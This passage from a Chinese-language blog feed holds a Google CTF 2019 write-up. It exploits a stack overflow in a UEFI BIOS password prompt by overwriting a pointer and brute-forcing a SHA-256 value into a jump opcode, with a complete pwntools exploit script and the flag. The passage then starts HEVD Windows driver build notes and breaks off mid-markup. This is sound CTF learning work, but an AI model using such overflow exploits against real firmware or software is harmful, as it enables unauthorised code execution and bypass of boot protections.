*</span><br><span class="line">*   Welcome to the BIOS!   *</span><br><span class="line">*                          *</span><br><span class="line">****************************</span><br><span class="line"></span><br><span class="line">Password?</span><br><span class="line">****</span><br></pre></td></tr></table></figure><p>这里会发现，程序在<code>DXE</code>阶段加载了一个好像叫做<code>UiAPP</code>的文件，并且要求我们输入密码。于是这里想到说，这个<code>UiAPP</code>可能是实现了输入密码功能的一个自定义的EFI文件。此时我们注意到<code>7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1</code>这个值，这个值我们在<code>UEFITool</code>的截图中看到过。<br><img src="/2019/07/29/GoogleCTF-2019/wp12.png" alt=""><br>于是想到，能不能将这个文件导出来看一下。这里使用工具<code>uefi-firmware-parser</code>进行导出:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uefi-firmware-parser -ecO ./OVMF.fd</span><br></pre></td></tr></table></figure><p>输出中可以开到如下的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)</span><br><span class="line">Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)</span><br><span class="line">Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)</span><br><span class="line">Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)</span><br><span class="line">Name: UiApp</span><br><span class="line">Section 3: type 0x14, size 0xe (14 bytes) (Version section section)</span><br></pre></td></tr></table></figure><p>这段就是我们需要找到的内容(目录有点深，得搜索出来才行)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SecureBoot\OVMF.fd_output\volume-0\file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331</span><br></pre></td></tr></table></figure><h4 id="漏洞点">漏洞点</h4><p>首先利用全局搜索找到字符串L&quot;Password&quot;，发现其相关函数如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">__int64 checkPassword()</span><br><span class="line">&#123;</span><br><span class="line">  unsigned __int16 index; // ax</span><br><span class="line">  char v2; // [rsp+2Ch] [rbp-BCh]</span><br><span class="line">  __int16 chr; // [rsp+2Eh] [rbp-BAh]</span><br><span class="line">  char v4; // [rsp+30h] [rbp-B8h]</span><br><span class="line">  char buffer[128]; // [rsp+38h] [rbp-B0h]</span><br><span class="line">  __int64 v6; // [rsp+B8h] [rbp-30h]</span><br><span class="line">  _QWORD *v7; // [rsp+C0h] [rbp-28h]</span><br><span class="line">  __int64 v8; // [rsp+C8h] [rbp-20h]</span><br><span class="line">  unsigned __int16 i; // [rsp+D6h] [rbp-12h]</span><br><span class="line">  unsigned __int64 error_time; // [rsp+D8h] [rbp-10h]</span><br><span class="line"></span><br><span class="line">  error_time = 0i64;</span><br><span class="line">  v8 = 32i64;</span><br><span class="line">  wputs(L&quot;****************************\n&quot;);</span><br><span class="line">  wputs(L&quot;*                          *\n&quot;);</span><br><span class="line">  wputs(L&quot;*   Welcome to the BIOS!   *\n&quot;);</span><br><span class="line">  wputs(L&quot;*                          *\n&quot;);</span><br><span class="line">  wputs(L&quot;****************************\n\n&quot;);</span><br><span class="line">  v7 = (_QWORD *)Initialize(32i64);</span><br><span class="line">  while ( error_time &lt;= 2 )</span><br><span class="line">  &#123;</span><br><span class="line">    i = 0;</span><br><span class="line">    wputs(L&quot;Password?\n&quot;);</span><br><span class="line">    while ( 1 )</span><br><span class="line">    &#123;</span><br><span class="line">      while ( 1 )</span><br><span class="line">      &#123;</span><br><span class="line">        v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(</span><br><span class="line">               *(_QWORD *)(qword_1BC68 + 48),</span><br><span class="line">               &amp;v2);</span><br><span class="line">        if ( v6 &gt;= 0 )</span><br><span class="line">        &#123;</span><br><span class="line">          if ( chr )</span><br><span class="line">            break;</span><br><span class="line">        &#125;</span><br><span class="line">        if ( v6 == 0x8000000000000006i64 )</span><br><span class="line">          (*(void (__fastcall **)(__int64, __int64, char *))(qword_1BC78 + 96))(</span><br><span class="line">            1i64,</span><br><span class="line">            *(_QWORD *)(qword_1BC68 + 48) + 16i64,</span><br><span class="line">            &amp;v4);</span><br><span class="line">      &#125;</span><br><span class="line">      if ( chr == &#x27;\r&#x27; )</span><br><span class="line">        break;</span><br><span class="line">      if ( i &lt;= 139u )</span><br><span class="line">      &#123;</span><br><span class="line">        index = i++;</span><br><span class="line">        buffer[index] = chr;</span><br><span class="line">      &#125;</span><br><span class="line">      wputs(&quot;*&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    buffer[i] = 0;</span><br><span class="line">    wputs(L&quot;\n&quot;);</span><br><span class="line">    sha256((__int64)buffer, i, (__int64)v7);</span><br><span class="line">    if ( *v7 == 0xDEADBEEFDEADBEEFi64</span><br><span class="line">      &amp;&amp; v7[8] == 0xDEADBEEFDEADBEEFi64</span><br><span class="line">      &amp;&amp; v7[16] == 0xDEADBEEFDEADBEEFi64</span><br><span class="line">      &amp;&amp; v7[24] == 0xDEADBEEFDEADBEEFi64 )</span><br><span class="line">    &#123;</span><br><span class="line">      sub_C46((__int64)v7);</span><br><span class="line">      return 1i64;</span><br><span class="line">    &#125;</span><br><span class="line">    wputs(&quot;W&quot;);</span><br><span class="line">    ++error_time;</span><br><span class="line">  &#125;</span><br><span class="line">  sub_C46((__int64)v7);</span><br><span class="line">  return 0i64;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序要求我们输入128个字节，然后将这128个字节进行sha256，结果要为四个<code>DEADBEEFDEADBEEF</code>的时候，就会返回1表示密码输入正确。<br>这里会发现一个很显眼的漏洞点:程序允许我们读入140字节，但是申请的空间却只有128个字节那么大。总共可以多溢出12个字节。由于这里是位于EFI程序中，此时地址并不是特别高位，所以可以粗略的认为我们<strong>此时可以修改v6和v7处的变量</strong>。</p><p>从定义上可以发现，v7是一个地址，而我们栈溢出又正好可以溢出到v7的地址处，于是一个自然的想法就是，<strong>通过爆破sha256，得到一个粗略任意地址写</strong>的一个漏洞（因为必须要将buffer进行sha256，所以这个写入也不是那么受控制，不过如果控制了v7相当于是可以往部分位置写数据了）</p><p>那么要往哪里写呢？这个倒是一个大问题，毕竟这个题目不是在通常的运行环境下，没有<code>libc</code>等一系列东西，所以得考虑用别的办法。不过其实考虑到，<strong>分页保护这个过程发生在操作系统加载之后</strong>，那么应该会意识到，此时的EFI程序<strong>应该是不存在页保护的</strong>。</p><h4 id="动态调试">动态调试</h4><p>修改题目中给出的<code>run.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> tempfile</span><br><span class="line"></span><br><span class="line">fname = tempfile.NamedTemporaryFile().name</span><br><span class="line"></span><br><span class="line">os.system(<span class="string">&quot;cp OVMF.fd %s&quot;</span> % (fname))</span><br><span class="line">os.system(<span class="string">&quot;chmod u+w %s&quot;</span> % (fname))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Here&quot;</span>)</span><br><span class="line">os.system(<span class="string">&quot;qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -gdb tcp::1234 -S -nographic 2&gt; /dev/null&quot;</span> % (fname))</span><br><span class="line"><span class="comment"># 增加gdb选项，并且增加-S，表示等待调试器连接上才运行</span></span><br><span class="line">os.system(<span class="string">&quot;rm -rf %s&quot;</span> % (fname))</span><br></pre></td></tr></table></figure><p>之后启动gdb，然后输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">target remote 127.0.0.1:1234</span><br></pre></td></tr></table></figure><p>即可连接调试。<br>链接进去后用手速进入输入password的界面，然后断下来，检查内部执行情况可以发现，此时的程序段的确都是可执行的:<br><img src="/2019/07/29/GoogleCTF-2019/wp13.png" alt=""><br>此时我们需要找到此时的<code>uiapp</code>被映射的位置，这里似乎没有什么好办法，只能说翻一下栈，看看有没有哪个数字的最后三个字节和IDA中的某个函数调用返回值的后三字节相同。通过逆向分析，可以知道如下的汇编:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">.text:000000000000FF1E</span><br><span class="line">.text:000000000000FF1E loc_FF1E:                               ; CODE XREF: checkPassword+C2↑j</span><br><span class="line">.text:000000000000FF1E                 mov     rax, 8000000000000006h</span><br><span class="line">.text:000000000000FF28                 cmp     [rsp+0E8h+var_30], rax</span><br><span class="line">.text:000000000000FF30                 jz      short loc_FF35</span><br><span class="line">.text:000000000000FF32                 nop</span><br><span class="line">.text:000000000000FF33                 jmp     short loc_FEDE</span><br><span class="line">.text:000000000000FF35 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:000000000000FF35</span><br><span class="line">.text:000000000000FF35 loc_FF35:                               ; CODE XREF: checkPassword+E0↑j</span><br><span class="line">.text:000000000000FF35                 mov     rax, cs:qword_1BC78</span><br><span class="line">.text:000000000000FF3C                 mov     rax, [rax+60h]</span><br><span class="line">.text:000000000000FF40                 mov     rdx, cs:qword_1BC68</span><br><span class="line">.text:000000000000FF47                 mov     rdx, [rdx+30h]</span><br><span class="line">.text:000000000000FF4B                 add     rdx, 10h</span><br><span class="line">.text:000000000000FF4F                 lea     rcx, [rsp+0E8h+var_B8]</span><br><span class="line">.text:000000000000FF54                 mov     r8, rcx</span><br><span class="line">.text:000000000000FF57                 mov     ecx, 1</span><br><span class="line">.text:000000000000FF5C                 call    rax ; 这里发生了类似scanf的调用</span><br><span class="line">.text:000000000000FF5E                 jmp     loc_FEDE</span><br></pre></td></tr></table></figure><p>猜想说此处的<code>rax</code>调用的正是读取数据的函数，所以我们此时需要查找栈中地址尾部为<code>F5E</code>的地址，最后成功找到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">24:0120│   0x7ec17c8 —▸ 0x67daf5e ◂— jmp    0x67daede /* 0x44b70fffffff7be9 */  </span><br></pre></td></tr></table></figure><p>于是可以计算出此时段的基地址为<code>67daf5e - ff5e = 67CB000</code>。</p><h4 id="利用思路">利用思路</h4><p>代码段本身居然能被修改，而且没有开启<code>ASLR</code>，这意味这我们不需要leak就可以修改任意内容，我们需要巧妙的利用这一点。这里比较容易想到的一点就是<strong>修改发生比较前后的代码</strong>。将发生跳转的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.text:000000000000FFBE                 cmp     rdx, rax</span><br><span class="line">.text:000000000000FFC1                 jz      short loc_10008; -------jump--from--here---&gt;&gt;</span><br></pre></td></tr></table></figure><p>这个位置修改成<code>jmp $+b3</code>，那么就可以直接跳转到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.text:0000000000010074                 mov     eax, 1;   &lt;------arrive--here-----</span><br><span class="line">.text:0000000000010079                 jmp     short loc_100B4</span><br></pre></td></tr></table></figure><p>不过查看反汇编，会发现<code>jmp +$0xb3</code>需要的字节码有、长，为<code>\xe9\xae\x00\x00\x00</code>，因为这个地方有一个无符号数<code>0xb3</code>，而爆破这么长的字节显然不合适，但是<strong>反向跳跃</strong>不需要那么多字节:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">.text:0000000000010074                 mov     eax, 1           ;&lt;---------arrive here</span><br><span class="line">.text:0000000000010079                 jmp     short loc_100B4</span><br><span class="line">.text:000000000001007B loc_1007B:                              ; CODE XREF: checkPassword+173↑j</span><br><span class="line">.text:000000000001007B                                         ; checkPassword+1D4↑j ...</span><br><span class="line">.text:000000000001007B                 lea     rcx, aW         ; -------jump from here ----&gt;  </span><br><span class="line">.text:0000000000010082                 call    wputs</span><br><span class="line">.text:0000000000010087                 add     [rsp+0E8h+var_10], 1</span><br><span class="line">.text:0000000000010090</span><br><span class="line">.text:0000000000010090 loc_10090:                              ; CODE XREF: checkPassword+73↑j</span><br><span class="line">.text:0000000000010090                 cmp     [rsp+0E8h+var_10], 2  </span><br><span class="line">.text:0000000000010099                 jbe     loc_FEC8</span><br><span class="line">.text:000000000001009F                 mov     rax, [rsp+0E8h+exp]</span><br><span class="line">.text:00000000000100A7                 mov     rdi, rax</span><br><span class="line">.text:00000000000100AA                 call    sub_C46</span><br><span class="line">.text:00000000000100AF                 mov     eax, 0</span><br></pre></td></tr></table></figure><p>如果从指定的位置进行jmp的话，那么此时只需要<code>0x1007b - 0x10074=0x7</code>，也就是说此时只需要跳转<code>jmp $f9(\xeb\xf7)</code>即可:<br>那么接下来要做的事情就很简单了:</p><ul><li>溢出修改v7的值为`0x67db07b</li><li>计算sha256，让开头两字节为<code>\xeb\xf7</code></li></ul><p><em>说到调试问题，可以让程序先运行起来，然后本地使用gdb远程链接过去（此时注意qemu的命令行中不要加入<code>-S</code>防止被挂起）</em></p><p>在调试期间发现一个漏掉的问题点:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"> v6 = (*(__int64 (__fastcall **)(_QWORD, <span class="type">char</span> *))(*(_QWORD *)(qword_1BC68 + <span class="number">48</span>) + <span class="number">8</span>i64))(</span><br><span class="line">         *(_QWORD *)(qword_1BC68 + <span class="number">48</span>),</span><br><span class="line">         &amp;v2);</span><br><span class="line">  <span class="keyword">if</span> ( v6 &gt;= <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( chr )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( v6 == <span class="number">0x8000000000000006</span>i64 )</span><br><span class="line">    (*(<span class="type">void</span> (__fastcall **)(__int64, __int64, <span class="type">char</span> *))(qword_1BC78 + <span class="number">96</span>))(</span><br><span class="line">      <span class="number">1</span>i64,</span><br><span class="line">      *(_QWORD *)(qword_1BC68 + <span class="number">48</span>) + <span class="number">16</span>i64,</span><br><span class="line">      &amp;v4);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个地方的<code>v6</code>在栈上位于<code>v7</code>之前，通过测试发现在读入我们的输入的时候会被置为<code>00000000</code>，所以在计算sha256的时候需要把这段默认为0，但是发送数据的时候这一段需要设置为任意可见字符防止被截断。</p><p><em>由于此时需要利用pwntool和远程通信，所以需要发送<code>f12</code>，所有特殊按键在UEFI加载的时候通过<code>\x1b</code>来激活，表示这之后的字符串是特殊按键。这些对应关系可以查询<a href="https://dox.ipxe.org/efi__console_8c_source.html#l00279">这里</a></em></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- codingP:utf-8   -*-</span></span><br><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> tempfile</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line">fname = <span class="string">&quot;&quot;</span></span><br><span class="line">ph = <span class="literal">None</span></span><br><span class="line">exp_opcode = <span class="string">&quot;jmp $-0x7&quot;</span></span><br><span class="line"><span class="comment"># target_addr = 0x67db07b - 32 + 2</span></span><br><span class="line">target_addr = <span class="number">0x67db07b</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./run.py&quot;</span>)</span><br><span class="line">    <span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">    <span class="comment">#context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;]</span></span><br><span class="line">    <span class="comment">#gdb.attach(ph)</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&#x27;secureboot.ctfcompetition.com&#x27;</span>, <span class="number">1337</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">bruce</span>(<span class="params">opcode</span>):</span><br><span class="line">    last_opcode = asm(opcode, arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> string.printable:</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> string.printable:</span><br><span class="line">            <span class="keyword">for</span> k <span class="keyword">in</span> string.printable:</span><br><span class="line">                payload = i + j + k + <span class="string">&quot;A&quot;</span>*<span class="number">125</span> + <span class="string">&#x27;\x00&#x27;</span>*<span class="number">8</span> + p32(target_addr)</span><br><span class="line">                <span class="keyword">if</span> hashlib.sha256(payload).digest()[:<span class="number">2</span>] == last_opcode:</span><br><span class="line">                    log.info(<span class="string">&quot;Find payload&quot;</span> + payload)</span><br><span class="line">                    <span class="built_in">print</span>(hashlib.sha256(payload).hexdigest())</span><br><span class="line">                    payload = payload[<span class="number">0</span>:<span class="number">128</span>] + <span class="string">&quot;A&quot;</span>*<span class="number">8</span> + payload[<span class="number">136</span>:]</span><br><span class="line">                    log.info(<span class="string">&quot;Find payload&quot;</span> + payload)</span><br><span class="line">                    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;Find nothing..&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exploit</span>(<span class="params">ph</span>):</span><br><span class="line">    <span class="comment"># input(&quot;wait for gdb&quot;)</span></span><br><span class="line">    <span class="comment"># just sleep to wait</span></span><br><span class="line">    <span class="built_in">print</span> ph.recvn(<span class="number">1</span>)</span><br><span class="line">    <span class="comment"># sleep(1)</span></span><br><span class="line">    ph.send(<span class="string">&quot;\x1b[24~&quot;</span>)</span><br><span class="line">    <span class="comment"># sleep(1)</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Password&quot;</span>)</span><br><span class="line">    <span class="comment"># a=raw_input(&quot;wait for gdb&quot;)</span></span><br><span class="line">    payload = bruce(exp_opcode)</span><br><span class="line">    <span class="comment"># payload = &quot;A&quot;</span></span><br><span class="line">    ph.send(payload+<span class="string">&quot;\r&quot;</span>)</span><br><span class="line">    <span class="comment"># ph.send(&#x27;1010&#x27; + &#x27;A&#x27; * 0x84 + p32(0x7ec18b8 - 32 + 1) + &#x27;\r&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">local</span>(<span class="params">ph</span>):</span><br><span class="line">    exploit(ph)</span><br><span class="line">    ph.interactive()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Finish attack, will delete file&quot;</span>)</span><br><span class="line">    os.system(<span class="string">&quot;rm -rf %s&quot;</span> % (fname))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># local(ph)</span></span><br><span class="line">    exploit(ph)</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>如果只是本地测试的话，可以使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socat -,raw,echo=0 SYSTEM:&quot;python exploit.py&quot;</span><br></pre></td></tr></table></figure><p>来进行启动，会得到如下的画面:<br><img src="/2019/07/29/GoogleCTF-2019/wp14.png" alt=""><br>然后设置一下<code>Secure Boot</code>就能够让其正常启动。修改成<code>remote</code>模式之后即可到达最终答案</p><p><img src="/2019/07/29/GoogleCTF-2019/wp15.png" alt=""><br><code>CTF&#123;pl4y1ng_with_v1rt_3F1_just_4fun&#125;</code></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;时隔两年又玩了一把googlectf，这次看了一整天都没看出一题来，事后决定点时间学习一波，这一学就学了一大堆的东西。，，总共花了3周才整理了5题的wp，这个比赛实在是过于硬核。。。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="Rev" scheme="https://showlinkroom.me/tags/Rev/"/>
    
    <category term="Pwn" scheme="https://showlinkroom.me/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>WindowKernelExploit00</title>
    <link href="https://showlinkroom.me/2019/06/16/WindowKernelExploit00/"/>
    <id>https://showlinkroom.me/2019/06/16/WindowKernelExploit00/</id>
    <published>2019-06-16T02:41:27.000Z</published>
    <updated>2020-11-12T15:02:30.183Z</updated>
    
    <content type="html"><![CDATA[<p>最近因为工作原因看了<code>Windows Subsystem for Linux</code>相关的内容（之后也整理到博客上吧），顺手就看到一个EXP，讲的是可以从 WSL 中实现 Windows 层面的提权。当时就想好好的研究了一下Window内核Exploit，于是趁热打铁搞了个<code>HACKSYS EXTREME VULNERABLE DRIVER</code>来玩</p><h2 id="more-window-kernel-exploit-00"><span id="more"></span><br>Window Kernel Exploit 00</h2><h2 id="hevd-hacksys-extreme-vulnerable-driver">HEVD(HACKSYS EXTREME VULNERABLE DRIVER)</h2><p><code>HEVD</code>这个东西是2017年就在blackhat上就提出来的，一个用来帮助大家学习<code>Windows Kernel Exploit</code>的项目，在这个项目中会提到很多Windows 内核漏洞利用的技巧，以此来辅助对Windows Kernel Exploit的基础学习。</p><h2 id="安装踩坑">安装踩坑</h2><p>这个玩意儿其实本身还是蛮好弄得，下下来之后的文件目录如下:<br><img src="/2019/06/16/WindowKernelExploit00/win00.png" alt=""><br>其中根据README，首先安装<code>Windows Driver Kit</code>（并非SDK），然后从Builder中找到对应的<code>Build_HEVD_Secure_*</code>和<code>Build_HEVD_Vulnerable_*</code>，简单修改之后，就能对驱动进行编译。然后还有一个叫做<code>Build_HEVD_Exploit</code>的文件，可以编译一个用于 exploit 的 exe。然而实际操作的时候却没那么简单，因为现在的<code>WDK</code>目录结构和当初的版本有点不一样，所以导致给出的<code>bat</code>脚本需要做出一定的调整，才能整个完成编译</p><h3 id="build-hevd-exploit">Build HEVD Exploit</h3><p>这个比较简单，只有以下几个地方需要修改:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">REM store the local symbol server path</span><br><span class="line">set localSymbolServerPath=C:\Xtra\Symbols\Custom\</span><br><span class="line"></span><br><span class="line">set VC_PATH=&quot;%VS100COMNTOOLS%\..\..\VC\vcvarsall.bat&quot;</span><br><span class="line">echo.</span><br><span class="line">echo **************************************************</span><br><span class="line">@call %VC_PATH% x86</span><br><span class="line">echo **************************************************</span><br></pre></td></tr></table></figure><p>这个<code>localSymbolServerPath</code> README 中也提到了，就放到一个自定义的目录就好了，重点是后面这个 <code>VC_PATH</code>，这个其实可以根据不同的<code>visual studio</code>版本自定义位置，因为这里使用的是<code>VS100COMNTOOLS</code>这个环境变量，相当于是使用的VS2012 进行编译的，如果是VS 2017的话，应该是叫做<code>VS140COMNTOOLS</code>，然而目录其实也不对了，所以这里建议直接改成Visual Studio的真是安装目录下的<code>vcvarsall.bat</code>的路径。我这边是改成了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set VC_PATH=&quot;C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build\vcvarsall.bat&quot;</span><br></pre></td></tr></table></figure><p>这里设置这个变量，之后会调用<code>@call %VC_PATH% x86</code>,设置编译环境为x86的文件</p><p>之后还有一出需要更改的地方</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd &quot;C:\Program Files\Debugging Tools for Windows (x86)&quot;</span><br><span class="line">echo.</span><br><span class="line">symstore.exe add /r /f %currentDir%\..\compile\exploit\ /s %localSymbolServerPath% /t &quot;ExploitSymbol&quot; /v &quot;1.0&quot;</span><br></pre></td></tr></table></figure><p>这个调用我这边总是失败，所以最后我直接强行指定了<code>symstore.exe</code>的真实路径:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\symstore.exe&quot; add /r /f %currentDir%\..\compile\exploit\ /s %localSymbolServerPath% /t &quot;ExploitSymbol&quot; /v &quot;1.0&quot;</span><br></pre></td></tr></table></figure><h3 